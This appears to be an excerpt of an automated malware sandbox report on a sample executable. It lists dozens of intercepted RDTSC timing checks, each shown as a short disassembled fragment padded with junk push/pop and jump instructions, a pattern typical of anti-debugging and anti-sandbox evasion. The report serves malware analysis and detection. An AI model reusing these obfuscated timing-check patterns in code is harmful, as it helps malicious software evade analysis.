Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 480F3A second address: 480F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAD60CE3D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007FAD60CE3D7Ch 0x00000012 ja 00007FAD60CE3D76h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FAD60CE3D7Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 480F63 second address: 480F68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4810CC second address: 4810D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4810D2 second address: 4810D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4810D6 second address: 4810DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48124A second address: 481279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA40Eh 0x00000009 jmp 00007FAD607DA416h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 481279 second address: 481288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD60CE3D7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 484F15 second address: 484F1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 484F1D second address: 484F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 484F21 second address: 484F27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 484F27 second address: 484F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAD60CE3D81h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAD60CE3D86h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 484F5A second address: 484F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAD607DA411h 0x0000000f jp 00007FAD607DA406h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 484F7B second address: 484F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 484F7F second address: 484F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 484F85 second address: 484FA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD60CE3D87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 489198 second address: 48919C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48919C second address: 4891A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4891A8 second address: 4891AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 489317 second address: 48931D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48931D second address: 489322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 489322 second address: 48932E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 je 00007FAD60CE3D76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48932E second address: 489332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48949B second address: 4894A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4894A1 second address: 4894B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FAD607DA406h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4894B8 second address: 4894BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4894BC second address: 4894CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007FAD607DA406h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4894CE second address: 4894D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48E33A second address: 48E340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48E340 second address: 48E344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48E344 second address: 48E348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48E348 second address: 48E351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48E351 second address: 48E384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA40Ch 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FAD607DA415h 0x00000019 push esi 0x0000001a push eax 0x0000001b pop eax 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48E384 second address: 48E397 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAD60CE3D7Eh 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007FAD60CE3D76h 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48D6C2 second address: 48D6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FAD607DA406h 0x0000000d jo 00007FAD607DA406h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48D6D5 second address: 48D6DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48D6DB second address: 48D6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48D6E6 second address: 48D6FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jbe 00007FAD60CE3D76h 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jnl 00007FAD60CE3D76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 48D6FF second address: 48D70D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FAD607DA412h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49067E second address: 490682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3EBCF5 second address: 3EBCFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 495662 second address: 49567E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD60CE3D78h 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 jnc 00007FAD60CE3D76h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49567E second address: 495689 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007FAD607DA406h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49581C second address: 495830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD60CE3D80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 495830 second address: 49584C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA418h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49598D second address: 4959A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FAD60CE3D76h 0x0000000a jmp 00007FAD60CE3D80h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 496724 second address: 496740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA412h 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 496740 second address: 496759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FAD60CE3D76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 496A1B second address: 496A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA40Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 496A2E second address: 496A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 496A39 second address: 496A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA413h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 496A50 second address: 496A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 496CC4 second address: 496CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FAD607DA40Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 496CD9 second address: 496CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAD60CE3D76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49F601 second address: 49F60B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAD607DA406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49F60B second address: 49F61F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD60CE3D7Dh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49FAE9 second address: 49FB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA40Ch 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FAD607DA40Ch 0x00000013 jne 00007FAD607DA406h 0x00000019 push ecx 0x0000001a jne 00007FAD607DA406h 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49FB11 second address: 49FB27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD60CE3D80h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49FB27 second address: 49FB2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 49FC93 second address: 49FCC6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FAD60CE3D7Dh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jp 00007FAD60CE3D8Bh 0x00000012 jmp 00007FAD60CE3D85h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4A641E second address: 4A6469 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FAD607DA417h 0x0000000c pop ebx 0x0000000d pushad 0x0000000e js 00007FAD607DA406h 0x00000014 jmp 00007FAD607DA414h 0x00000019 pushad 0x0000001a popad 0x0000001b jp 00007FAD607DA406h 0x00000021 popad 0x00000022 js 00007FAD607DA40Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4A6469 second address: 4A6479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FAD60CE3D76h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4A6479 second address: 4A647D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4A692D second address: 4A6956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD60CE3D87h 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007FAD60CE3D76h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4A70C9 second address: 4A70D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4A70D1 second address: 4A70E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D81h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4A7380 second address: 4A7385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE843 second address: 4AE86D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD60CE3D85h 0x00000008 jmp 00007FAD60CE3D80h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE21A second address: 4AE224 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAD607DA406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE224 second address: 4AE22A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE22A second address: 4AE232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE232 second address: 4AE236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE236 second address: 4AE259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA415h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FAD607DA406h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE259 second address: 4AE25D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE523 second address: 4AE52E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4AE52E second address: 4AE535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3FC9A7 second address: 3FC9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FAD607DA414h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FAD607DA412h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3FC9D5 second address: 3FC9DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3FC9DB second address: 3FC9E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3FC9E1 second address: 3FC9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3FC9E5 second address: 3FC9E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4B602A second address: 4B6039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FAD60CE3D76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4BE965 second address: 4BE969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4BE969 second address: 4BE975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAD60CE3D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4BE975 second address: 4BE97E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4BE314 second address: 4BE377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FAD60CE3D76h 0x00000009 jmp 00007FAD60CE3D88h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 jbe 00007FAD60CE3D7Eh 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007FAD60CE3D86h 0x00000021 jmp 00007FAD60CE3D87h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4C1BF6 second address: 4C1BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4C1BFC second address: 4C1C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4C62B3 second address: 4C62DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 jp 00007FAD607DA42Dh 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jnc 00007FAD607DA406h 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FAD607DA40Fh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4CD9E9 second address: 4CD9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4CD9F2 second address: 4CD9F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4CD9F6 second address: 4CDA0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD60CE3D7Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4D3F36 second address: 4D3F6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FAD607DA406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007FAD607DA40Dh 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jmp 00007FAD607DA40Ch 0x0000001c pop ecx 0x0000001d jo 00007FAD607DA40Ch 0x00000023 je 00007FAD607DA406h 0x00000029 rdtsc
